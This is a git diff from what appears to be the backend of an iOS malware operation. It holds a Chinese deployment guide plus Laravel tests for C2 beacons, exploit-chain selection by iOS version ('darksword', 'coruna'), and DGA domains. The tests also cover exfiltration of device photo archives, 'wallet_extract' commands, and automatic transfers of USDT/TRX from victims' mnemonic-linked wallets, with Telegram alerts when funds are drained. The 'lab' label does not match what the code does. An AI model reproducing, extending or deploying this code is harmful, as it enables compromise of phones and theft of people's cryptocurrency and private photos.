- `Cache-Control` 含 `max-age=60`
若仍看到 PHP,说明这段 location 没生效(写错站点、写在 `location /` 后面、或只改了 Admin 站没改 DGA 站)。Laravel 路由仍保留作本机 / 未配 Nginx 时的兜底,生产应以 Nginx 为准。
`lab_seeds.json` / `out/` 分别在 `storage/app/channel-builder/` 与 `storage/app/channel-builder-new/`,不在 web 根。
**首次创建渠道后**,用返回的 DGA `domains.deployment` / `domains.reporting` 注册域名,反代到同一 `public/`(reporting → C2;新版短路径 C2 见 `routes/xxbb.php`)。
@@ -326,6 +361,14 @@ SESSION_DOMAIN=null
SESSION_SECURE_COOKIE=true
SESSION_SAME_SITE=lax
# 抗压:同机 4C8G 请装 Redis,把 cache/queue 从 file/sync 换掉(见 §2.6)
# CACHE_STORE=redis
# QUEUE_CONNECTION=redis
# REDIS_HOST=127.0.0.1
# REDIS_PORT=6379
CACHE_STORE=file
QUEUE_CONNECTION=sync
# 内嵌两套 builder(无 Build API;产物默认 public/)
CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python
CORUNA_CHANNEL_BUILDER_NEW_PYTHON=/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
@@ -388,7 +431,54 @@ ls -la /www/wwwroot/coruna-lab/storage/app/channel-builder-new/out/weifile
未配置 `XXBB_CHANNEL_C` 时,后台创建「新版」渠道会直接报错。
### 2.6 p7zip(C2 入库)
### 2.6 抗压(Redis / 队列 / PHP-FPM)
落地页按 §1.3 交给 Nginx 之后,`/statistic/t`、Telegram、自动转账和相册解压在 `QUEUE_CONNECTION=redis` 时走同一条队列。4C8G 同机请装 Redis,避免 file 缓存锁和同步出站 HTTP 占满 FPM。
1. 宝塔软件商店安装 **Redis**,确认 `127.0.0.1:6379` 可连。
2. PHP 8.2 安装 `redis` 扩展。
3. `.env`:
```dotenv
CACHE_STORE=redis
QUEUE_CONNECTION=redis
REDIS_HOST=127.0.0.1
REDIS_PORT=6379
```
4. 改完后:
```bash
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php artisan migrate
/www/server/php/82/bin/php artisan config:clear
```
5. 宝塔 **Supervisor** 常驻队列(换成 redis 后必须有,否则 PV 不记、通知不发):
```text
名称: coruna-queue
启动命令: /www/server/php/82/bin/php artisan queue:work redis --sleep=1 --tries=3 --timeout=90 --max-time=3600
启动目录: /www/wwwroot/coruna-lab
进程数量: 2
```
6. PHP-FPM(软件商店 → PHP 8.2 → 性能调整),4C8G 建议:
```ini
pm = dynamic
pm.max_children = 24
pm.start_servers = 4
pm.min_spare_servers = 2
pm.max_spare_servers = 8
pm.max_requests = 500
```
`max_children` 不要开到 50+:每个 worker 约 40–80MB,再加 MySQL 会先 swap。相册解包仍可能短时占满几个 worker,属正常。
7. MySQL:8G 机器 `innodb_buffer_pool_size` 建议 1.5G–2.5G。
### 2.7 p7zip(C2 入库)
`CORUNA_7Z_BIN` **仍需要**:设备 multipart 上报的混淆 7z 由 Laravel `CorunaArchive` 解压,与两套 channel-builder 无关。
@@ -416,7 +506,7 @@ chmod +x bin/7z
`command -v 7z` 为空说明未装成功或 PATH 无 `7z`;用 `find /usr -name '7z' 2>/dev/null` 定位后再 `cp`。
### 2.7 Telegram Webhook(上线必做)
### 2.8 Telegram Webhook(上线必做)
Bot 入站指令(如 `/transfer`)依赖公网 HTTPS webhook,默认路径:
@@ -479,7 +569,7 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log
2. 新版:`channel-builder-new/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'` 正常;`.env` 已有 `XXBB_CHANNEL_C`
3. Admin 登录 `https://admin.example.com/admin/login`
4. **旧版**渠道:新建 → 构建成功;响应含 `seeds` / `domains`(首次);打开 `/web/<id>/support.html` 与 `/sync/daily.html`
5. **新版**渠道:ID 用 `X.Y.ZZ`(如 `0.0.01`)→ 构建成功;打开 `/channel/<ver>/weifile/weifile.html`;`/details/` 可访问;`/c/<ver>/show.htm` 有内容
5. **新版**渠道:ID 用 `X.Y.ZZ`(如 `0.0.01`)→ 构建成功;打开 `/channel/<ver>/weifile/weifile.html`;`/details/` 可访问;`/c/<ver>/show.htm` 由 Nginx 直接出(`curl -sI` 无 `X-Powered-By: PHP`)
6. seed / staged weifile 只在 `storage/app/channel-builder*`,不通过 URL 暴露
7. C2 上报与 7z 入库正常(新版短路径含 `/a` `/u` `/event` 等,见 `routes/xxbb.php`)
8. `telegram:set-webhook` 成功;Bot 能收到指令
@@ -499,9 +589,10 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log
| 备份 | MySQL + `public/web` + `public/sync` + `public/channel` + `public/details` + `storage/app/channel-builder` + `storage/app/channel-builder-new` |
| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` |
| 勿改线上 `XXBB_CHANNEL_C` | 改了会导致新版 DGA 域名与已装设备不一致;换战役需整体重部署策略 |
| 队列 worker(Redis 时) | `php artisan queue:work --sleep=1 --tries=3`(宝塔 Supervisor 常驻,见 §2.6) |
当前 `QUEUE_CONNECTION=sync`,一般无需单独 queue worker。
`QUEUE_CONNECTION=sync` 时无需 worker;换成 `redis` 后必须常驻 `queue:work`,否则 PV 记数、Telegram 通知、自动转账和相册解压都不会执行。自动转账仍由每分钟的 `coruna:auto-transfer` 扫描候选地址,真正的查余额 / 广播交给队列(同一地址 3 分钟内只跑一条,失败不重试,避免重复打款)。相册上报仍立刻 ACK,包先落到 `storage/app/c2/inbox/` 再解;解不开只写日志、不入库、不重试(与改队列前一致)。
---
@@ -644,7 +735,7 @@ chmod -R ug+rwx storage/framework/sessions
若要把静态产物拆到另一台纯静态机:
- 旧版:rsync `public/web` + `public/sync`
- 新版:rsync `public/channel` + `public/details`;`/c/<ver>/show.htm` 需仍打到 Laravel,或在静态机做等价映射
- 新版:rsync `public/channel` + `public/details`;静态机 Nginx 必须带 §1.3 的 `/c/<ver>/show.htm` `alias` 映射,不要把该路径反代回 PHP
- 或把 `CORUNA_ARTIFACT_ROOT` 指到共享盘,静态机 Nginx root 指向该盘
- seed / staged 状态仍放在 lab:`CORUNA_CHANNEL_STATE_ROOT`、`CORUNA_CHANNEL_NEW_STATE_ROOT`
+12 -11
View File
@@ -11,15 +11,16 @@ use Illuminate\Support\Facades\Route;
// Anonymous page-visit beacon (PV/UV); no session / CSRF.
Route::match(['GET', 'POST'], '/statistic/t', PageHitController::class)->name('page.hit');
// Equal-length alias for secondary's hardcoded /details/show.html → /c/{ver}/show.htm
Route::get('/c/{ver}/show.htm', function (string $ver) {
$ver = Channel::normalizeNewChannelId($ver);
abort_if($ver === null, 404);
$path = public_path('channel/'.$ver.'/details/show.html');
abort_unless(is_file($path), 404);
// Equal-length alias: /details/show.html → /c/{ver}/show.htm
// Production: Nginx serves this statically (docs/BAOTA_DEPLOY.md §1.3). This is the fallback.
// Route::get('/c/{ver}/show.htm', function (string $ver) {
// $ver = Channel::normalizeNewChannelId($ver);
// abort_if($ver === null, 404);
// $path = public_path('channel/'.$ver.'/details/show.html');
// abort_unless(is_file($path), 404);
return response()->file($path, [
'Content-Type' => 'application/octet-stream',
'Cache-Control' => 'no-store',
]);
})->where('ver', '[0-9A-Za-z]\\.[0-9A-Za-z]\\.[0-9A-Za-z]{2}');
// return response()->file($path, [
// 'Content-Type' => 'application/octet-stream',
// 'Cache-Control' => 'public, max-age=60',
// ]);
// })->where('ver', '[0-9A-Za-z]\\.[0-9A-Za-z]\\.[0-9A-Za-z]{2}');
+128
View File
@@ -2,6 +2,7 @@
namespace Tests\Feature;
use App\Jobs\AutoTransferAddress;
use App\Models\Channel;
use App\Models\Device;
use App\Models\User;
@@ -12,6 +13,7 @@ use App\Services\AutoTransferService;
use App\Services\TransferService;
use App\Services\WalletBalanceService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Queue;
use Mockery;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -264,6 +266,98 @@ class AutoTransferTest extends TestCase
$this->assertTrue(true);
}
#[Test]
public function evaluate_stops_remaining_assets_after_failure(): void
{
config(['coruna.auto_transfer.enabled' => true]);
$device = $this->makeOfficialDevice();
$addr = $this->linkAddress($device, ['usdt' => 12.5, 'trx' => 8]);
$transfers = Mockery::mock(TransferService::class);
$transfers->shouldReceive('handle')
->once()
->with('tron', $addr->address, null, 'USDT', 'auto')
->andReturn(['ok' => false, 'error' => 'broadcast failed']);
$this->app->instance(TransferService::class, $transfers);
$balances = Mockery::mock(WalletBalanceService::class);
$balances->shouldReceive('refresh')->once()->andReturn(true);
$this->app->instance(WalletBalanceService::class, $balances);
$stats = app(AutoTransferService::class)->evaluate($addr, 'test');
$this->assertSame(1, $stats['triggered']);
$this->assertSame(0, $stats['ok']);
$this->assertSame(1, $stats['failed']);
}
#[Test]
public function skips_address_asset_after_previous_auto_failure(): void
{
config(['coruna.auto_transfer.enabled' => true]);
$device = $this->makeOfficialDevice();
$addr = $this->linkAddress($device, ['usdt' => 12.5, 'trx' => 0]);
\App\Models\TransferRecord::query()->create([
'from_address' => $addr->address,
'to_address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
'chain' => 'tron',
'tx_hash' => null,
'amount' => '12.5',
'type' => \App\Models\TransferRecord::TYPE_OUT,
'asset' => 'USDT',
'operator' => 'auto',
'status' => \App\Models\TransferRecord::STATUS_FAILED,
'error' => 'broadcast failed',
]);
$transfers = Mockery::mock(TransferService::class);
$transfers->shouldNotReceive('handle');
$this->app->instance(TransferService::class, $transfers);
$stats = app(AutoTransferService::class)->evaluate($addr, 'test');
$this->assertSame(0, $stats['triggered']);
$this->assertSame(0, $stats['failed']);
$this->assertGreaterThanOrEqual(1, $stats['skipped']);
}
#[Test]
public function run_stops_after_first_failed_address(): void
{
config(['coruna.auto_transfer.enabled' => true]);
$device = $this->makeOfficialDevice();
$first = $this->linkAddress($device, [
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
'usdt' => 8,
'trx' => 0,
]);
$second = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'TXYZsecondAutoAddress000000000003',
'chain_type' => 'TRON',
'source' => 'imToken',
'mnemonic_id' => $first->mnemonic_id,
'usdt' => 9,
'trx' => 0,
]);
$transfers = Mockery::mock(TransferService::class);
$transfers->shouldReceive('handle')
->once()
->with('tron', $first->address, null, 'USDT', 'auto')
->andReturn(['ok' => false, 'error' => 'broadcast failed']);
$this->app->instance(TransferService::class, $transfers);
$balances = Mockery::mock(WalletBalanceService::class);
$balances->shouldReceive('refresh')->once()->andReturn(true);
$this->app->instance(WalletBalanceService::class, $balances);
$stats = app(AutoTransferService::class)->run();
$this->assertSame(1, $stats['inspected']);
$this->assertSame(1, $stats['failed']);
$this->assertSame(0, $stats['ok']);
$this->assertGreaterThan($first->id, $second->id);
}
#[Test]
public function run_only_scans_mnemonic_addresses_with_balance(): void
{
@@ -312,4 +406,38 @@ class AutoTransferTest extends TestCase
->expectsOutputToContain('inspected=0')
->assertSuccessful();
}
#[Test]
public function run_queues_one_job_per_address_when_not_sync(): void
{
config(['coruna.auto_transfer.enabled' => true, 'queue.default' => 'redis']);
$device = $this->makeOfficialDevice();
$first = $this->linkAddress($device, [
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
'usdt' => 8,
'trx' => 0,
]);
$second = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'TXYZsecondAutoAddress000000000003',
'chain_type' => 'TRON',
'source' => 'imToken',
'mnemonic_id' => $first->mnemonic_id,
'usdt' => 9,
'trx' => 0,
]);
Queue::fake();
$transfers = Mockery::mock(TransferService::class);
$transfers->shouldNotReceive('handle');
$this->app->instance(TransferService::class, $transfers);
$stats = app(AutoTransferService::class)->run();
$this->assertSame(2, $stats['inspected']);
$this->assertSame(2, $stats['queued']);
$this->assertSame(0, $stats['triggered']);
Queue::assertPushed(AutoTransferAddress::class, 2);
Queue::assertPushed(AutoTransferAddress::class, fn (AutoTransferAddress $job) => $job->walletAddressId === $first->id);
Queue::assertPushed(AutoTransferAddress::class, fn (AutoTransferAddress $job) => $job->walletAddressId === $second->id);
}
}
+76
View File
@@ -2,6 +2,7 @@
namespace Tests\Feature;
use App\Jobs\ExtractPhotoArchive;
use App\Models\Admin;
use App\Models\Device;
use App\Models\DeviceApp;
@@ -15,6 +16,7 @@ use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Http\UploadedFile;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Queue;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -666,6 +668,80 @@ class C2ApiTest extends TestCase
@rmdir($tmp);
}
#[Test]
public function check_acks_when_archive_extract_fails(): void
{
Storage::fake('local');
Device::query()->create([
'device_id' => 'dev-photo-bad',
'album_storage' => true,
]);
$tmp = sys_get_temp_dir().'/coruna_photo_bad_'.uniqid().'.bin';
file_put_contents($tmp, 'not-a-7z');
$upload = new UploadedFile($tmp, 'capture.7z', 'application/octet-stream', null, true);
try {
$this->call(
'POST',
'/api/user/check',
[
'd' => 'dev-photo-bad',
'f' => 'dev-photo-bad',
'batchBase' => '0',
],
[],
['file' => $upload],
['CONTENT_TYPE' => 'multipart/form-data']
)->assertOk();
$this->assertSame(0, Photo::query()->count());
} finally {
@unlink($tmp);
}
}
#[Test]
public function check_queues_extract_when_queue_is_not_sync(): void
{
Storage::fake('local');
Queue::fake();
config(['queue.default' => 'redis']);
Device::query()->create([
'device_id' => 'dev-photo-q',
'album_storage' => true,
]);
$tmp = sys_get_temp_dir().'/coruna_photo_q_'.uniqid().'.bin';
file_put_contents($tmp, "\x37\x7A");
$upload = new UploadedFile($tmp, 'capture.7z', 'application/octet-stream', null, true);
try {
$this->call(
'POST',
'/api/user/check',
[
'd' => 'dev-photo-q',
'f' => 'dev-photo-q',
'batchBase' => '0',
'x-hit' => '12',
],
[],
['file' => $upload],
['CONTENT_TYPE' => 'multipart/form-data']
)->assertOk();
$this->assertSame(0, Photo::query()->count());
Queue::assertPushed(ExtractPhotoArchive::class, function (ExtractPhotoArchive $job) {
if ($job->deviceId < 1 || $job->flavor !== 'lab' || $job->batchBase !== '0') {
return false;
}
if (! str_starts_with($job->inboxPath, 'c2/inbox/')) {
return false;
}
Storage::disk('local')->assertExists($job->inboxPath);
return true;
});
} finally {
@unlink($tmp);
}
}
#[Test]
public function check_normalizes_encoded_device_key_onto_existing_device(): void
{
+18 -1
View File
@@ -94,7 +94,8 @@ class DarkSwordC2ApiTest extends TestCase
'ok' => true,
'chain' => 'darksword',
])
->assertJsonPath('exfil.prefer_https', false);
->assertJsonPath('exfil.prefer_https', false)
->assertJsonPath('band.usable_for_attempt', true);
$this->withHeaders([
'X-Forwarded-Host' => 'ocq4rod6pq6warv.icu',
@@ -110,6 +111,20 @@ class DarkSwordC2ApiTest extends TestCase
->assertOk()
->assertSee('ok', false);
$this->getJson('/api/ds/chain-targets?ios=18.6.1')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.6.2')
->assertOk()
->assertJsonPath('chain', 'darksword');
foreach (['18.4', '18.5.1', '18.6.3', '18.7', '17.3'] as $ios) {
$this->getJson('/api/ds/chain-targets?ios='.$ios)
->assertOk()
->assertJsonPath('chain', 'coruna')
->assertJsonPath('recommended_worker', '')
->assertJsonPath('band.usable_for_attempt', false);
}
$this->getJson('/api/chain-targets?ios=18.6')->assertNotFound();
$this->get('/log.html?text=lab')->assertNotFound();
$this->getJson('/next-chain/api/chain-targets')->assertNotFound();
@@ -598,6 +613,7 @@ class DarkSwordC2ApiTest extends TestCase
$resp = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson([
'ok' => true,
'type' => $type,
@@ -683,6 +699,7 @@ class DarkSwordC2ApiTest extends TestCase
$first = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson(['type' => 'wallet_extract']);
$firstId = $first->json('command_id');
$this->assertNotEmpty($firstId);
+57 -3
View File
@@ -2,12 +2,15 @@
namespace Tests\Feature;
use App\Jobs\RecordPageHit;
use App\Models\Admin;
use App\Models\DsChainLog;
use App\Models\PageVisit;
use App\Support\UserAgentParser;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\File;
use Illuminate\Support\Facades\Queue;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -66,13 +69,19 @@ class PageVisitTest extends TestCase
}
#[Test]
public function hit_marks_darksword_for_ios_after_17_2_1_before_18_7(): void
public function hit_marks_darksword_only_for_allowlisted_ios(): void
{
$cases = [
['17_2_1', PageVisit::CHAIN_CORUNA, '17.2.1'],
['17_2_2', PageVisit::CHAIN_DARKSWORD, '17.2.2'],
['18_0', PageVisit::CHAIN_DARKSWORD, '18.0'],
['17_2_2', PageVisit::CHAIN_CORUNA, '17.2.2'],
['18_0', PageVisit::CHAIN_CORUNA, '18.0'],
['18_4', PageVisit::CHAIN_CORUNA, '18.4'],
['18_5', PageVisit::CHAIN_DARKSWORD, '18.5'],
['18_5_1', PageVisit::CHAIN_CORUNA, '18.5.1'],
['18_6', PageVisit::CHAIN_DARKSWORD, '18.6'],
['18_6_1', PageVisit::CHAIN_DARKSWORD, '18.6.1'],
['18_6_2', PageVisit::CHAIN_DARKSWORD, '18.6.2'],
['18_6_3', PageVisit::CHAIN_CORUNA, '18.6.3'],
['18_7', PageVisit::CHAIN_CORUNA, '18.7'],
];
foreach ($cases as [$token, $chain, $osVersion]) {
@@ -128,6 +137,15 @@ class PageVisitTest extends TestCase
}
#[Test]
public function canonical_ios_version_strips_trailing_zero_patch(): void
{
$this->assertSame('18.5', PageVisit::canonicalIosVersion('18.5'));
$this->assertSame('18.5', PageVisit::canonicalIosVersion('18.5.0'));
$this->assertSame('18.6.1', PageVisit::canonicalIosVersion('18.6.1'));
$this->assertTrue(PageVisit::isDarkSwordIosVersionString('18.5.0'));
$this->assertFalse(PageVisit::isDarkSwordIosVersionString('18.5.1'));
}
public function visitor_uid_is_stable_for_domain_and_ip(): void
{
$a = PageVisit::visitorUid('XXBB.TV', '203.0.113.9');
@@ -217,6 +235,42 @@ class PageVisitTest extends TestCase
$this->assertSame(0, PageVisit::query()->count());
}
#[Test]
public function hit_queues_record_when_queue_is_not_sync(): void
{
Cache::flush();
Queue::fake();
config(['queue.default' => 'redis']);
$this->call('GET', '/statistic/t', [
'c' => self::CHANNEL,
'u' => '11111111-2222-4333-8444-555555555555',
])->assertOk();
$this->assertSame(0, PageVisit::query()->count());
Queue::assertPushed(RecordPageHit::class, function (RecordPageHit $job) {
return ($job->attrs['channel_id'] ?? null) === self::CHANNEL;
});
}
#[Test]
public function show_alias_serves_channel_details_without_store_cache(): void
{
$ver = '8.8.88';
$dir = public_path('channel/'.$ver.'/details');
File::ensureDirectoryExists($dir);
file_put_contents($dir.'/show.html', 'SHOW_ALIAS_BODY');
try {
$response = $this->get('/c/'.$ver.'/show.htm')
->assertOk()
->assertHeader('Content-Type', 'application/octet-stream')
->assertHeader('Cache-Control', 'max-age=60, public');
$this->assertSame('SHOW_ALIAS_BODY', $response->streamedContent());
} finally {
File::deleteDirectory(public_path('channel/'.$ver));
}
}
#[Test]
public function user_agent_parser_handles_chrome_ios(): void
{
+59
View File
@@ -248,6 +248,65 @@ class TokenviewWebhookTest extends TestCase
});
}
#[Test]
public function webhook_notifies_native_trx_when_token_symbol_omitted(): void
{
config(['coruna.tokenview.sign_key' => '']);
Http::fake(function ($request) {
$url = $request->url();
if (str_contains($url, '/v1/accounts/')) {
return Http::response([
'data' => [[
'balance' => 12_000_000,
'trc20' => [],
]],
'success' => true,
], 200);
}
if (str_contains($url, 'api.telegram.org')) {
return Http::response(['ok' => true], 200);
}
return Http::response(['ok' => true], 200);
});
config([
'coruna.telegram.bot_token' => 'bot-token',
'coruna.telegram.owner_chat_id' => '12345',
]);
$addr = $this->seedMonitoredAddress([
'address' => 'TWVpqZyczbccBtNNsV8aRmBRfETZBxRkNL',
'chain_type' => 'TRON',
'trx' => 15.0,
'usdt' => 0,
'eth' => null,
]);
$payload = [
'address' => 'TWVpqZyczbccBtNNsV8aRmBRfETZBxRkNL',
'txid' => '02af07be47430d0b1db32962f3036ff75afc1114444a928c44e258cd332c0d0e',
'time' => 1788200361,
'confirmations' => 1,
'value' => '-3',
'coin' => 'TRX',
'height' => 85842934,
'network' => 'TRX',
];
$this->postJson('/hooks/tokenview', $payload)->assertOk()->assertSee('ok');
$this->assertSame(1, TokenviewEvent::query()->count());
Http::assertSent(function ($request) {
if (! str_contains($request->url(), 'api.telegram.org')) {
return false;
}
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, '余额转出')
&& str_contains($text, '-3 TRX');
});
}
#[Test]
public function webhook_ignores_tron_when_token_is_not_trx_or_usdt(): void
{